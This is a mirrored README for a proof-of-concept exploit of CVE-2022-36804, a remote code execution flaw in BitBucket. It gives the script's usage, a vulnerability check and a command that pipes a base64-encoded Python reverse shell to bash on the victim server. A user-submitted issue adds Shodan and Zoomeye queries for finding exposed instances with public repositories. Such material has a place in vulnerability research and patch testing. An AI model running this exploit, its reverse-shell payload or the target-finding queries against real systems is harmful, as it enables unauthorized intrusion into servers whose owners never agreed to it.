Code Monkey home page Code Monkey logo

cve-2022-36804's Introduction

CVE-2022-36804 PoC

This repo contains a simple proof of concept exploit for the recent BitBucket remote code execution vulnerability (CVE-2022-36804). Exploitation of this vulnerability requires access to a repository on the target instance, if you don't have creds, the target will need to have public respositories.

Usage

usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION]
                  [--check]

Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)

optional arguments:
  -h, --help            show this help message and exit
  -p PROJECT, --project PROJECT
                        The name of the project the public repository resides in (E.g.
                        testproject)
  -r REPO, --repo REPO  The name of the public repository (E.g. testrepo)
  -u URL, --url URL     The URL of the BitBucket server (E.g. http://localhost:7990/)
  -c COMMAND, --command COMMAND
                        The command to execute on the server (E.g. 'curl http://canary.domain/')
  --proxy PROXY         HTTP proxy to use for debugging (E.g. http://localhost:8080/)
  --session SESSION     The value of your 'BITBUCKETSESSIONID' cookie, required if your target
                        repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)
  --check               Only perform a check to see if the instance is vulnerable

Examples

Checking if an instance is vulnerable

To check if an instance is vulnerable you can perform the following command

python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check

Establishing a reverse shell

The below command can be used to establish a reverse shell on the victim (the base64 payload will need to updated with your listeners details)

python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d  | bash |"

Credits

Disclaimer

This exploit is for educational/research purposes, I am not responsible for how people will use it. Be nice :)

cve-2022-36804's People

Contributors

notdls avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

cve-2022-36804's Issues

Add Shodan and Zoomeye Dork

Shodan: http.favicon.hash:667017222 http.title:Public

The above query will look for favicon of latest bitbucket i.e after 6.0 and will filter all the public repo using this http.title:Public filter

Same for Zoomeye: iconHash:667017222 +title=Public

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.